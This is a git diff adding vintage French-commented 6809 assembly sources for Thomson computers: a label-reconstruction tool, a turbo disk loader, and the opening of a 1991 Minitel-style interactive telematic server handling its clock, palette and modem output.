+* utilisable sous 'ASSEMBLER' de Micro-
+* soft(après avoir été retaillé si néces
+* saire car taille maxi=24 Ko )
+
+* on peut aller 10000 lignes de code
+* (nécessité d'une extension RAM 256Ko)
+* ou 4499 lignes sans extension.
+* (on peut compter 400 à 500 lignes par
+* Ko de code)
+
+* Les flags 1,2 et 3 permettent d'éviter
+* le traitement de la recherche d'adres-
+* ses décalées du type:
+* LDX #TABLE+2
+
+* Pas d'affolement si l'écran se remplit
+* de signes bizarres: il est utilisé
+* pour les lignes 3276 à 4875
+
+* les 4 derniers octets en bas à droite
+* de l'écran clignotent au rythme des
+* 'passes' de recherche et aident à pa-
+* tienter... (pour 10000 lignes + les
+* trois recherches décalées prévoir
+* plusieurs heures--> 400 millions
+* de combinaisons possibles à étudier!)
+
+BANK1 EQU 5 =BANK4 EN BASIC
+* LES BANKS 1 ET 2 ETANT OCCUPEES APRES
+* bank 4 utilisée pour le code initial
+
+ ORG $7000 a ne pas changer!
+
+ PSHS A,B,CC,DP,X,Y,U
+ LDX #1
+ STX PTRP
+ LDA #BANK1
+ STA $E7E5
+ LDX #$A000
+ LDU #1
+
+ LDX #CALCUL
+AFFIC1 LDB ,X+
+ BEQ ONYVA
+ JSR $E803
+ BRA AFFIC1
+
+
+ONYVA PSHS CC
+ ORCC #$50
+ LDD FINPTR initialisé par
+ STD COMPT le BASIC
+ TFR D,X
+ LEAX D,X
+ LEAX D,X
+ LEAX D,X
+ LEAX D,X
+ CMPX #24380
+ BLO PETIT
+ LDA #1
+ STA PARTIE
+ LEAX $1CAC,X
+PETIT STX FINTAB
+
+ LDB #$14
+ JSR $E803
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ LDA #$62
+ STA $E7E6
+ LDA #BANK1
+ STA $E7E5
+ LDX #$A000
+ LDY #0
+ADRESS LDA ,X
+ BPL CODEFF
+ LEAU 1,X
+ BSR CVINT
+ LDA 15,X
+ BPL CODE0F
+ LDA #$24 '$'
+ STA 15,X
+ LEAU 16,X
+ BSR CVINT
+ CLR ,Y+
+ BRA FINLEC
+CODE0F LDD #$000F
+ STA ,Y+
+ STD ,Y++
+ BRA FINLEC
+CODEFF LDD #$0000
+ STD ,Y++
+ STD ,Y++
+ DECA
+ STA ,Y+
+FINLEC LEAX 40,X
+ CMPX #$DFE8
+ BLO MBANK2
+ INC $E7E5
+ LDX #$A000
+MBANK2 DEC COMPT+1
+ BNE PART0
+ DEC COMPT
+ BMI CROISE
+PART0 TST PARTIE
+ BEQ PART2
+PART1 CMPY #24380
+ BLO ADRESS
+ DEC PARTIE
+ INC $E7E6
+ LDY #$7BE8
+ BRA ADRESS
+PART2 CMPY #$A000
+ BNE ADRESS
+ LDY #0
+ BRA ADRESS
+
+CVINT LDB #2
+BCVINT LDA ,U+
+ SUBA #$30
+ CMPA #$A
+ BLO CHIF1
+ SUBA #7
+CHIF1 ASLA
+ ASLA
+ ASLA
+ ASLA
+ STA ,Y
+ LDA ,U+
+ SUBA #$30
+ CMPA #$A
+ BLO CHIF2
+ SUBA #7
+CHIF2 ORA ,Y
+ STA ,Y+
+ DECB
+ BNE BCVINT
+ RTS
+
+CROISE LDD #$0362
+ STD $E7E5
+ LDX #$A000
+ LEAY $2000,X
+BOCROI LDU ,X
+ LDD ,Y
+ STU ,Y++
+ STD ,X++
+ CMPX #$C000
+ BNE BOCROI
+
+ANALYS LDX #0
+ STX $5F3C
+ STX $5F3E
+ LDX FINTAB
+ANA LEAX 3,X
+ STX FINTAC
+ LDY #0 TAB:XXXX,YYYY,ZZ
+ANAL0 LDX #$FFFE XXXX>ADR.GAUCHE
+ LDA 4,Y YYYY>ADR.CENTRE
+ BMI ANA2 ZZ>FLAG GAUC/CENT.
+ANA0 LDD ,Y 0 NON AFFECTE
+ANA1 LEAX 5,X 1 AFFECTE
+ CMPX #24383
+ BNE ANAC0
+ LDX #$7BEB
+ANAC0 CMPX FINTAC F NON AFFECTABLE
+ BHS ANA2
+ LDA 1,X
+ ANDA #$0F
+ BNE ANA1
+ CMPB ,X
+ BNE ANA1
+ LDA ,Y
+ CMPA -1,X
+ BNE ANA1
+ LDA 4,Y
+ ORA #$10
+ STA 4,Y
+ LDA 1,X
+ ORA #$01
+ STA 1,X
+ STY -1,X
+ BRA ANA1
+ANA2 COM $5F3C
+ LEAY 5,Y
+ CMPY #24380
+ BNE ANAK0
+ LDY #$7BE8
+ANAK0 CMPY FINTAB
+ BLO ANAL0
+
+ LDU #TEMPO
+ TST FLAG1
+ LBEQ ETIK
+ LDY #0
+ANAL1 LDX #$FFFE
+ LDA 4,Y
+ BMI ANA5
+ANA3 LDD ,Y
+ ADDD #1
+ STA ,U
+ANA4 LEAX 5,X
+ CMPX #24383
+ BNE ANAC1
+ LDX #$7BEB
+ANAC1 CMPX FINTAC
+ BHS ANA5
+ LDA 1,X
+ ANDA #$0F
+ BNE ANA4
+ CMPB ,X
+ BNE ANA4
+ LDA ,U
+ CMPA -1,X
+ BNE ANA4
+ LDA 4,Y
+ ORA #$10
+ STA 4,Y
+ LDA 1,X
+ ORA #$02
+ STA 1,X
+ STY -1,X
+ BRA ANA4
+ANA5 COM $5F3D
+ LEAY 5,Y
+ CMPY #24380
+ BNE ANAK1
+ LDY #$7BE8
+ANAK1 CMPY FINTAB
+ BLO ANAL1
+
+ TST FLAG1
+ LBEQ ETIK
+ LDY #0
+ANAL2 LDX #$FFFE
+ LDA 4,Y
+ BMI ANA8
+ANA6 LDD ,Y
+ ADDD #2
+ STA ,U
+ANA7 LEAX 5,X
+ CMPX #24383
+ BNE ANAC2
+ LDX #$7BEB
+ANAC2 CMPX FINTAC
+ BHS ANA8
+ LDA 1,X
+ ANDA #$0F
+ BNE ANA7
+ CMPB ,X
+ BNE ANA7
+ LDA ,U
+ CMPA -1,X
+ BNE ANA7
+ LDA 4,Y
+ ORA #$10
+ STA 4,Y
+ LDA 1,X
+ ORA #$03
+ STA 1,X
+ STY -1,X
+ BRA ANA7
+ANA8 COM $5F3E
+ LEAY 5,Y
+ CMPY #24380
+ BNE ANAK2
+ LDY #$7BE8
+ANAK2 CMPY FINTAB
+ BLO ANAL2
+
+ TST FLAG3
+ BEQ ETIK
+ LDY #0
+ANAL3 LDX #$FFFE
+ LDA 4,Y
+ BMI ANA11
+ANA9 LDD ,Y
+ ADDD #3
+ STA ,U
+ANA10 LEAX 5,X
+ CMPX #24383
+ BNE ANAC3
+ LDX #$7BEB
+ANAC3 CMPX FINTAC
+ BHS ANA11
+ LDA 1,X
+ ANDA #$0F
+ BNE ANA10
+ CMPB ,X
+ BNE ANA10
+ LDA ,U
+ CMPA -1,X
+ BNE ANA10
+ LDA 4,Y
+ ORA #$10
+ STA 4,Y
+ LDA 1,X
+ ORA #$04
+ STA 1,X
+ STY -1,X
+ BRA ANA10
+ANA11 COM $5F3F
+ LEAY 5,Y
+ CMPY #24380
+ BNE ANAK3
+ LDY #$7BE8
+ANAK3 CMPY FINTAB
+ BLO ANAL3
+
+ETIK LDX ETIQ0
+ LDB PAS
+ LDY #0
+AFF1 LDA 4,Y
+ ANDA #$F0
+ BLE AFF2
+ STX ,Y
+ ABX
+AFF2 LEAY 5,Y
+ CMPY #24380
+ BNE AFFC0
+ LDY #$7BE8
+AFFC0 CMPY FINTAB
+ BLO AFF1
+
+ CMPX #9999
+ LBHI TOOBIG
+
+ LDA #BANK1
+ STA BANK
+ LDY #0
+ LDX #$A000
+AFF3 LDA #3
+ STA $E7E5
+ LDA 4,Y
+ ANDA #$F0
+ BEQ AFF4
+ BMI AFF5
+ LDD ,Y
+ TFR X,U
+ BSR CVDEC
+ BRA AFF5
+AFF4 LDA BANK
+ STA $E7E5
+ LDD #$2020
+ STD ,X
+ STD 2,X
+ STA 4,X
+AFF5 LDA #3
+ STA $E7E5
+ LDA 4,Y
+ ANDA #$0F SI 0 OU F RIEN
+ BEQ AFF7
+ CMPA #$0F
+ BEQ AFF7
+ DECA
+ BEQ AFF6
+ ADDA #$30
+ PSHS A
+ LEAU 24,X
+ LDA BANK
+ STA $E7E5
+ LDA #$3D '='
+ STA ,U+
+ LDA #3
+ STA $E7E5
+ LDD [2,Y]
+ BSR CVDEC
+ LDA #$2B '+'
+ PULS B
+ STD ,U
+ BRA AFF7
+AFF6 LEAU 15,X
+ LDD [2,Y]
+ BSR CVDEC
+AFF7 LEAX 40,X
+ CMPX #$DFE8
+ BLO MBANK3
+ INC BANK
+ LDX #$A000
+MBANK3 LEAY 5,Y
+ CMPY #24380
+ BNE AFFK0
+ LDY #$7BE8
+AFFK0 CMPY FINTAB
+ LBLO AFF3
+ BRA SAVE
+
+
+CVDEC PSHS X
+ TFR D,X
+ LDA BANK
+ STA $E7E5
+ LDA ETIQ
+ STA ,U+
+ LDD #$3030
+CVD1 CMPX #1000
+ BLO CVD2
+ INCA
+ LEAX -1000,X
+ BRA CVD1
+CVD2 CMPX #100
+ BLO CVD3
+ INCB
+ LEAX -100,X
+ BRA CVD2
+CVD3 STD ,U++
+ LDD #$3030
+CVD4 CMPX #10
+ BLO CVD5
+ INCA
+ LEAX -10,X
+ BRA CVD4
+CVD5 LEAX D,X
+ STX ,U++
+ PULS X,PC
+
+SAVE LDX #SAUVE
+AFFIC2 LDB ,X+
+ BEQ SAV1
+ JSR $E803
+ BRA AFFIC2
+
+SAV1 CLR $E7E6
+ PULS CC
+ LDX #$8600
+ STX $6197
+ LDX #$8C00
+ STX $6199
+ LDX #$9400
+ LDY #5
+ LDD #$0402
+ JSR $EC0C
+ LDX #FILE
+ LDA ,X++
+ SUBA #$30
+ STA $6049
+ LDU #$624B
+ LDD #$2003
+ STD ,U++
+ LDA #$FF
+ STA ,U++
+ LDB #8
+COPS LDA ,X+
+ STA ,U+
+ DECB
+ BNE COPS
+ LDD #$4153 'AS'
+ STD ,U++
+ LDD #$4D09 'M'+8 octets
+COPC STA ,U+
+ LDA ,X+
+ DECB
+ BNE COPC
+ LDB #3 CODE DE OPEN
+ JSR $EC0C OUVERTURE
+
+ LDX #$A000
+ LDA #BANK1
+ STA $E7E5
+ LDY FINPTR
+ LEAY -1,Y
+
+LIGNE LDU 16,X
+ CMPU 26,X
+ BNE SAV2
+ LDU 18,X
+ CMPU 28,X
+ BNE SAV2
+ LDD #$2020
+ STD 23,X
+ STD 25,X
+ STD 27,X
+ STD 29,X
+SAV2 LEAU 40,X
+ LDD #$2029
+BCLFL DECB
+ LBEQ FINLIN
+ CMPA ,-U
+ BEQ BCLFL
+ TFR X,U
+ PSHS B
+ LDA ,X
+ CMPA #$2A '*'
+ BNE PASCOM
+BCLCOM LDA ,U+
+ LDB #4
+ JSR $EC0C
+ DEC ,S
+ BNE BCLCOM
+ LBRA FINLI0
+
+PASCOM LDA #$F7
+ PSHS A
+BOUETI LDB #4
+ LDA ,U+
+ CMPA #$20
+ BEQ FINETI
+ DEC ,S
+ JSR $EC0C
+ BRA BOUETI
+FINETI PULS A
+ LDB #4
+ JSR $EC0C
+
+MNEMO LDA ,S
+ CMPA #7
+ BLO FINLI0
+ LDA #$F7
+ PSHS A
+ LEAU 7,X
+BOUMNE LDB #4
+ LDA ,U+
+ CMPA #$20
+ BEQ FINMNE
+ DEC ,S
+ JSR $EC0C
+ BRA BOUMNE
+FINMNE PULS A
+ LDB #4
+ JSR $EC0C
+
+OPERA LDA ,S
+ CMPA #14
+ BLO FINLI0
+ SUBA #14
+ STA ,S
+ LEAU 14,X
+ LDA #$20
+BOUESP CMPA ,U
+ BNE BOUOPE
+ LEAU 1,U
+ DEC ,S
+ BRA BOUESP
+BOUOPE LDB #4
+ LDA ,U+
+ JSR $EC0C
+ DEC ,S
+ BNE BOUOPE
+
+FINLI0 PULS A
+
+FINLIN LDD #$0D04
+ JSR $EC0C
+ LEAX 40,X
+ CMPX #$DFE8
+ BLO MBANK4
+ LDX #$A000
+ INC $E7E5
+MBANK4 LEAY -1,Y
+ LBNE LIGNE
+ LDB #6
+ JSR $EC0C
+ BRA FIN
+
+TOOBIG LDX #TOMUCH
+AFFIC3 LDB ,X+
+ BEQ FIN
+ JSR $E803
+ BRA AFFIC3
+
+FIN PULS A,B,DP,CC,X,Y,U,PC
+
+COMPT FDB 0 compteur
+PARTIE FCB 0
+BANK FCB 0 SAUVEGARDE BANK
+PTRP FDB 0
+FINPTR FDB 0
+FINTAB FDB 0
+FINTAC FDB 0
+TEMPO FCB 0
+SAUVE FCB 12
+ FCC #SAUVEGARDE EN COURS...#
+ FCB 0
+CALCUL FCB 12,31,24,1
+ FCC #CALCULS EN COURS...#
+ FCB 0
+TOMUCH FCB 12
+ FCC #PARAMETRES INCORRECTS#
+ FCB 0
+FLAG1 FCB 0
+FLAG2 FCB 0
+FLAG3 FCB 0
+ETIQ FCC #B#
+PAS FCB 1
+ETIQ0 FDB 0
+FILE FCC #4:ESSAI #
+COMMEN FCC #ASourcer#
+
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/LANCESTI.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/LANCESTI.ASM
new file mode 100644
index 0000000..8960f49
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/LANCESTI.ASM
@@ -0,0 +1,305 @@
+
+****** ** ** ***** ***** ****
+****** ** ** ****** ****** ****** *
+ ** ** ** ** ** ** ** ** ** ***
+ ** ** ** ** ** ** ** ** ** ** **
+ ** ** ** ***** ***** ** ** ** **
+ ** ** ** ****** ***** ** ** ** **
+ ** ** ** ** ** ** ** ** ** ** **
+ ** ** ** ** ** ** ** ** ** ***
+ ** ****** ** ** ****** ****** *
+ ** **** ** ** ***** ****
+
+
+ ORG $8000
+
+DEBUT LDS #$9FFF
+ LDD #$60F8
+ TFR A,DP
+ LDA <$19
+ ORA #2
+ STA <$19
+ JSR $E806
+ LDA #$65
+ STA $E7C3
+ LDX #$8000
+ STX <$4F
+ LDY #$6200
+ CLRB
+C0 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE C0
+ LDD #$5494
+ STA $E7E7
+ STA <$81
+ STB <$CD
+ LDD #$0610
+ STA $618C
+ INCA
+ STA <$47
+ STB $E7E5
+ LDX #C2
+ LDU #$601A
+C1 LDA ,X+
+ STA ,U+
+ BNE C1
+ LDX #C4
+AFF LDB ,X+
+ JSR $E803
+ BNE AFF
+ CLRA
+ STA <$49
+ STA <$4B
+ INCA
+ STA <$4C
+ INCA
+ STA <$48
+ BSR C3
+ BSR C3
+ JMP C5
+C3 INC <$4F
+ INC <$4C
+ JMP $E004
+C2 FCB $F0,9,$F0,1,$F0,$17,0
+
+ ORG $8080
+
+C4 FCB 0
+
+ ORG $80F0
+
+FACPIS FDB $014F
+NBBANK FCB 8
+BANK1 FCB 7
+FLGLE FCB 255
+FLGPB FCB 0
+FLGPAS FCB 0
+COMPT FCB 0
+NESSAI FCB 0
+SAVEX FDB 0
+
+*********** SECTEURS 2 ET 3 **********
+
+
+ ORG $8100
+
+*** CHARGEMENT DES 1024 SECTEURS ***
+
+C5 LDX #$9D00
+ STX <$4F
+ZERO CLR ,-X
+ CMPX #$8CFF
+ BHI ZERO
+NTRACK LDA #$11
+ STA <$4C
+ LDX #$0201
+ STX <$48
+ JSR $E004
+ LDX #$9D00
+ LEAY -$100,X
+ LDB #6
+DATE LDA ,X+
+ CMPA ,Y+
+ BLO SEC16
+ BHI COPY0
+ DECB
+ BNE DATE
+COPY0 LDX #$9D00
+ LEAY -$100,X
+ CLRB
+COPY1 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COPY1
+SEC16 DEC <$4C
+LIRSEC LDX #$0201
+ STX <$48
+ JSR $E004
+ TST <$4E
+ BEQ ECRSEC
+ LDX #$FFF7
+ STX $9D00
+ STX $9D80
+ECRSEC LDX #$0804
+ STX <$48
+ JSR $E004
+ DEC <$4C
+ BNE LIRSEC
+ INC <$4B
+ LDA <$4B
+ CMPA #64
+ BLO NTRACK
+ LDX $9C00
+ STX <$7C
+ LDA $9C02
+ STA <$7E
+ LDA #$82
+ STA <$CD
+
+************* TURBO ***********
+
+ LDD FACPIS
+ DECA
+ BNE ADR01
+ INCB
+ BRA ADR02
+ADR01 LDA #$01
+ADR02 STA $6049
+ STB $604B
+ LDA BANK1
+ STA $E7E5
+ CLR FLGPB
+NBANK LDA #$03
+ STA COMPT
+ INC $E7E5
+ LDX #$A000
+ STX SAVEX
+NPIST DEC $6049
+ BEQ ADR03
+ DEC $604B
+ LDD #$4001
+ STD $6048
+ADR03 LDA #$03
+ STA NESSAI
+ CLR FLGPAS
+ LDX SAVEX
+ LEAX $1556,X
+ STX COMPB+1
+ ORCC #$50
+DEMAR JSR $E09D
+ JSR $E0A7
+ JSR $E452
+ JSR $E341
+ LDB #$18
+ JSR $E394
+ LDA #$E7
+ TFR A,DP
+ LDY #$0000
+ADR04 LDA <$D1
+ BITA #$40
+ BEQ ADR04
+ADR05 LDA <$D3
+ LDA <$D0
+ BPL ADR05
+ADR06 LDA <$D0
+ BPL ADR06
+LIRE LDA <$D3
+ADR16 LDA <$D0
+ BPL ADR16
+ BITA #$01
+ BNE LIRE
+ CLRB
+ LDX SAVEX
+ LDA <$D3
+ADR17 LDA <$D0
+ BPL ADR17
+ LDA <$D3
+ CMPA #$FB
+ BEQ ADR18
+ DECB
+ BNE ADR17
+ BRA ERROR
+ADR18 LDA <$D0
+ BPL ADR18
+ LDA <$D3
+ STA ,X+
+ LEAY A,Y
+COMPB CMPX #$E002
+ BNE ADR18
+ TFR Y,D
+ADR19 TST <$D0
+ BPL ADR19
+ CMPA <$D3
+ BNE ERROR
+ADR20 TST <$D0
+ BPL ADR20
+ CMPB <$D3
+ BEQ ADR21
+ERROR DEC NESSAI
+ LBNE DEMAR
+ LDA #$FF
+ STA FLGPB
+ADR21 CLR <$D0
+ LDA #$40
+ STA <$D2
+ LDX COMPB+1
+ STX SAVEX
+ DEC COMPT
+ LBNE NPIST
+ DEC NBBANK
+ LBNE NBANK
+
+
+********** LANCEUR **********
+
+
+ LDD #$6006
+ TFR A,DP
+ STB $E7E5
+ STB >$0001
+ LDX #$9C00
+ STX <$4F
+ LDX #$0804
+ STX <$48
+ LDX #$1401
+ STX <$4B
+ JSR $E004
+ LDX #$2000
+ LDU #$A000
+L0 LDD ,X++
+ STD ,U++
+ CMPX #$4000
+ BNE L0
+ LDX #$0000
+L1 LDD ,X++
+ STD ,U++
+ CMPX #$2000
+ BNE L1
+ LDD #$1212
+ STA $C021
+ STD $C022
+ LDA #$7A
+ STA $C026
+ LDD #$E7E6
+ STD $C027
+ LDD #$6301
+ STD $C19C
+ DEC $E7E5
+ STA >$0000
+ LDX #$2000
+ LDU #$A000
+L2 LDD ,X++
+ STD ,U++
+ CMPX #$4000
+ BNE L2
+ LDX #$0000
+L3 LDD ,X++
+ STD ,U++
+ CMPX #$2000
+ BNE L3
+ LDA #$7C
+ STA $C021
+ LDD #$E7E6
+ STD $C022
+ LDD #$1212
+ STA $C026
+ STD $C027
+ LDD #$847E
+ STA $AB7D
+ LDA #$25
+ LEAX GO,PCR
+ STB $ABBC
+ STX $ABBD
+ CLR $607F
+ CLR $E7E4
+ STA $E7E6
+ JMP $2B52
+GO CLR $E7E6
+ STA >$0000
+ JMP $2452
+FIN NOP
+
+**********************************
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI.ASM
new file mode 100755
index 0000000..1e33cb7
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI.ASM
@@ -0,0 +1,1402 @@
+***************************************
+* *
+* ***** ***** * Serveur Télématique *
+* * * Interactif ver. 1.4 *
+* * * * du 20/09/91 *
+* ***** * * * ** A.S.C.I. *
+* * * * ** * * NANCY *
+* * * * * **** 1991 *
+* ***** * * * * * Copyright *
+* *
+***************************************
+
+
+ ORG $8800
+
+TAMPON RMB $180
+
+HEURE FCB 0
+MINUT FCB 0
+SECON FCB 0
+DIXIE FCB 0
+FLGPAL FCB 0
+
+LIRE JMP DECOMP lit et décompacte
+ * un message depuis le secteur 4,P
+ * ([$604B]),S([$604C]) pour la par-
+ * tie 0/1 selon la valeur de TAMPON
+ * le message est en clair sur les
+ * 127 premiers octets du secteur
+ * (4,20,1) sur le premier RAM-DISK.
+
+SAUVE JMP SAUV cherche une place
+ * libre sur le disque (optimisée),
+ * et l'inscrit en $604B/C et TAMPON
+ * puis saute à ECRIRE.
+
+ECRIRE JMP COMPAC compacte le texte
+ * écrit en TAMPON+1 et l'enregistre
+ * sur les disks 1 puis 4 en fonct.
+ * de $604B/$604C et TAMPON (0/1).
+
+RECHER JMP CHERCH recherche tous les
+ * messages pour le No inscrit en
+ * TAMPON et en dresse la liste à
+ * partir de $A002 sur la bank cou-
+ * rante (2octets=Piste & Sect/Part)
+ * nombre de messages en $A000
+
+PAGTEL JMP PTEL affiche un fichier
+ * .TEL dont le nom est en $624F
+
+LIT5 JMP LIRE5 lit le secteur 5'
+ * de no contenu en $6AB2/3 (N%)
+
+ECR5 JMP ECRI5 écrit (voir haut)
+
+AFF5 JMP AFFIC5 affiche une page
+ * type tel depuis le 5'1/4
+
+INIT PSHS A,B,CC,DP,X,Y,U
+ CLR $87FE
+ CLR $87FF
+ LDX $6027
+ STX ANCTI+1
+ LDX #TIMER
+ STX $6027
+ LDA $6019
+ ORA #$20
+ STA $6019
+ LDX #INTER
+ STX $67C1
+ LDA #$7E
+ STA $67C0
+ PULS A,B,CC,DP,X,Y,U,PC
+
+HORPLU PSHS A,CC
+ BRA HP
+HORLOG PSHS A,CC
+ LDA #10
+ STA DIXIE
+ INC SECON
+ LDA SECON
+ CMPA #60
+ BLO PALETT
+HP CLR SECON
+ INC MINUT
+ LDA MINUT
+ CMPA #60
+ BLO PALETT
+ CLR MINUT
+ INC HEURE
+ LDA HEURE
+ CMPA #24
+ BLO PALETT
+ CLR HEURE
+ INC $607C
+ LDA $607C
+ CMPA #32
+ BEQ MOISUI
+ CMPA #31
+ BNE FEVBIS
+ LDA $607D
+ CMPA #4
+ BEQ MOISUI
+ CMPA #6
+ BEQ MOISUI
+ CMPA #9
+ BEQ MOISUI
+ CMPA #11
+ BEQ MOISUI
+ BRA PALETT
+FEVBIS CMPA #30
+ BNE FEVNOR
+ LDA $607D
+ CMPA #2
+ BNE PALETT
+ LDA $607E
+ ANDA #3
+ BEQ MOISUI
+ BRA PALETT
+FEVNOR CMPA #29
+ BNE PALETT
+ LDA $607D
+ CMPA #2
+ BNE PALETT
+ LDA $607E
+ ANDA #3
+ BEQ PALETT
+MOISUI LDA #1
+ STA $607C
+ INC $607D
+ LDA $607D
+ CMPA #13
+ BNE PALETT
+ LDA #1
+ STA $607D
+ INC $607E
+PALETT PULS A,CC,PC
+
+TIMER PSHS A,CC
+ DEC DIXIE
+ BNE SORTIM
+ PSHS B,X,Y
+ LBSR HORLOG
+ LDX #PAL
+ LDA $6AD6
+ CMPA #1
+ BNE SORPAL
+ LDA FLGPAL
+ INCA
+ ANDA #1
+ STA FLGPAL
+ BEQ PAL0
+ LEAX 16,X
+PAL0 TST $E7E7
+ BPL PAL0
+PAL1 TST $E7E7
+ BMI PAL1
+ LDY #$200
+PAL2 LEAY -1,Y
+ BNE PAL2
+ LDY #$E7DA
+ CLR 1,Y
+ LDB #32
+PAL3 LDA ,X+
+ STA ,Y
+ DECB
+ BNE PAL3
+SORPAL PULS B,X,Y
+SORTIM PULS A,CC
+ANCTI JMP $FFFF
+
+PAL FDB $0000,$0F00,$F000,$FF00
+ FDB $000F,$0F0F,$F00F,$FF0F
+ FDB $0000,$0F00,$F000,$FF00
+ FDB $000F,$0F0F,$F00F,$FF0F
+ FDB $0000,$0000,$0000,$0000
+ FDB $0000,$0000,$0000,$0000
+
+INTER PSHS CC,X
+ CMPA #$AB =PRINT
+ BNE QUIT
+ LDX $61C7
+ LDX 1,X
+ CMPX #$2330 APPEL EMISSION
+ BEQ MODEM CANAL 0
+ CMPX #$2322 RETOUR D'EMISSION
+ BEQ PRINT
+ CMPX #$2323 EMISSION CANAL 1
+ BNE QUIT
+ LDX SAVPTR
+ STX $61C7
+QUIT PULS CC,X,PC
+
+MODEM PULS CC,X
+ PSHS A,B,CC,DP,X,Y,U
+ LDX #ZONE
+ LDY #POKE
+ BSR COPIE
+ LDX $61C7
+ LEAX 4,X
+ CLRB
+AUTRE LDA ,X+
+ BEQ M2
+ CMPA #$22
+ BNE M0
+ COMB
+M0 TSTB
+ BNE M1
+ CMPA #$3A
+ BEQ M2
+M1 STA ,Y+
+ BRA AUTRE
+M2 LEAX -3,X
+ LDA 1,X
+ CMPA #$3B
+ BNE ERROR
+ STX SAVPTR
+ LDX #ZONE+11
+ LEAY -1,Y
+ BSR COPIE
+ LDX #POKE-1
+ STX $61C7
+ LDX #TAMPON
+BLANC CLR ,X+
+ CMPX #TAMPON+300
+ BLO BLANC
+ERROR PULS A,B,CC,DP,X,Y,U,PC
+
+COPIE LDA ,X+
+ BEQ FINCOP
+ STA ,Y+
+ BRA COPIE
+FINCOP RTS
+
+PRINT PULS CC,X
+ PSHS A,B,CC,DP,X,Y,U
+ LDY #POKE-1
+ STY $61C7
+ LEAY 1,Y
+ LDX #ZONE+16
+ BSR COPIE
+ LDX #TAMPON
+ LDA $6AD6
+ CMPA #2
+ BNE MODIF
+ CLR ,Y+
+ CLR ,Y+
+MODIF LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ escape
+ BEQ ESCAPE
+ CMPA #$16
+ BNE CARAC
+ LDB $6AD6
+ CMPB #1
+ BEQ CARAC
+ ADDA #3
+CARAC STA ,Y+
+ BRA MODIF
+
+ESCSUI LDA ,X+
+ LBEQ FINMOD
+ CMPA #$3A
+ BEQ ESC0
+ CMPA #$5C
+ BNE ESCSUI
+ BRA MODIF
+
+ESCAPE LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ si \\ alors \
+ BEQ CARAC
+ BRA ESC1
+ESC0 LDA ,X+
+ LBEQ FINMOD
+ CMPA #$5C \ sortie ESCAPE
+ BEQ MODIF
+ESC1 CMPA #$41 A (ATTRB)
+ BNE ESC2
+ LBSR PARA
+ LDB $6A58
+ LDU #PARA1
+ LDA ,U+
+ BMI ATT2
+ BEQ ATT1
+ ORB #2
+ BRA ATT2
+ATT1 ANDB #1
+ATT2 TST ,U+
+ BMI ATT4
+ BEQ ATT3
+ ORB #1
+ BRA ATT4
+ATT3 ANDB #2
+ATT4 ANDB #3
+ STB $6A58
+ ADDB #$4C
+ LDA #$1B
+ STD ,Y++
+ LDB ,U+
+ BMI ATT5
+ ANDB #1
+ STB $6AAC
+ BEQ ATT6
+ LDB #$58
+ BRA ATT7
+ATT6 LDB #$5F
+ATT7 STD ,Y++
+ATT5 LBRA ESCSUI
+
+ESC2 CMPA #$42 B (Beep)
+ BNE ESC3
+ LDB #7
+ STB ,Y+
+ LBRA ESCSUI
+
+ESC3 CMPA #$43 C (Couleurs)
+ BNE ESC4
+ LBSR PARA
+ LDU #PARA1
+ LDB ,U+
+ BMI CO0
+ ANDB #$7
+ STB $6A66
+ ADDB #$40
+ LDA $6AD6
+ ANDA #1
+ BEQ CO00
+ TST $6A9E
+ BEQ CO00
+ ADDB #$30
+CO00 LDA #$1B
+ STD ,Y++
+CO0 LDB ,U+
+ BMI CO1
+ ANDB #$7
+ STB $6A7B
+ ADDB #$50
+ LDA $6AD6
+ ANDA #1
+ BEQ CO10
+ TST $6A9E
+ BEQ CO10
+ ADDB #$28
+CO10 LDA #$1B
+ STD ,Y++
+CO1 LDB ,U+
+ BMI CO2
+ ANDB #1
+ STB $6A90
+ SUBB #$5D
+ NEGB
+ LDA #$1B
+ STD ,Y++
+CO2 LDB ,U+
+ BMI CO3
+ ANDB #1
+ BRA KLI1
+CO3 LBRA ESCSUI
+
+ESC4 CMPA #$44 D=Démasquage total
+ BNE ESC5
+ LDD #$1B23
+ STD ,Y++
+ LDD #$205F
+ STD ,Y++
+ LBRA ESCSUI
+
+ESC5 CMPA #$45 E=Effacement
+ BNE ESC7
+ LDA #$0C
+ STA ,Y+
+ LBRA ESCSUI
+
+ESC7 CMPA #$47 G=Générateur de
+ BNE ESC9 caractères
+ LBSR PARA
+ LDA PARA1
+ ANDA #1
+ STA $6A82
+ BNE GEN0
+ LDA #$0F mode normal
+ BRA GEN1
+GEN0 LDA #$0E mode Teletel
+GEN1 STA ,Y+
+ LBRA ESCSUI
+
+ESC9 CMPA #$49 I=Inversion
+ BNE ESCB
+ LDA ,X
+ CMPA #$45 E=Ecran
+ BEQ IE
+ LDA #$1B
+ LDB $6A90
+ ANDB #1
+ INCB
+ ANDB #1
+ STB $6A90
+ SUBB #$5D
+ NEGB
+ STD ,Y++
+ LBRA ESCSUI
+IE LEAX 1,X
+ LDD #$1B20
+ STD ,Y++
+ LDA #$23
+ LDB $6A90
+ ANDB #1
+ SUBB #$5D
+ NEGB
+ STD ,Y++
+ LBRA ESCSUI
+
+ESCB CMPA #$4B K=Klignotement
+ BNE ESCC
+ LDB $6A9E
+ ANDB #1
+ INCB
+ ANDB #1
+KLI1 STB $6A9E
+ LDA $6AD6
+ ANDA #1
+ BNE KLITO
+ SUBB #$49
+ NEGB
+ LDA #$1B
+ STD ,Y++
+KLI2 LBRA ESCSUI
+KLITO LDA #$1B
+ LDB $6A66
+ ANDB #7
+ ADDB #$40
+ TST $6A9E
+ BEQ KLIT1
+ ADDB #$30
+KLIT1 STD ,Y++
+ LDB $6A7B
+ ANDB #$7
+ ADDB #$50
+ TST $6A9E
+ BEQ KLIT2
+ ADDB #$28
+KLIT2 STD ,Y++
+ BRA KLI2
+
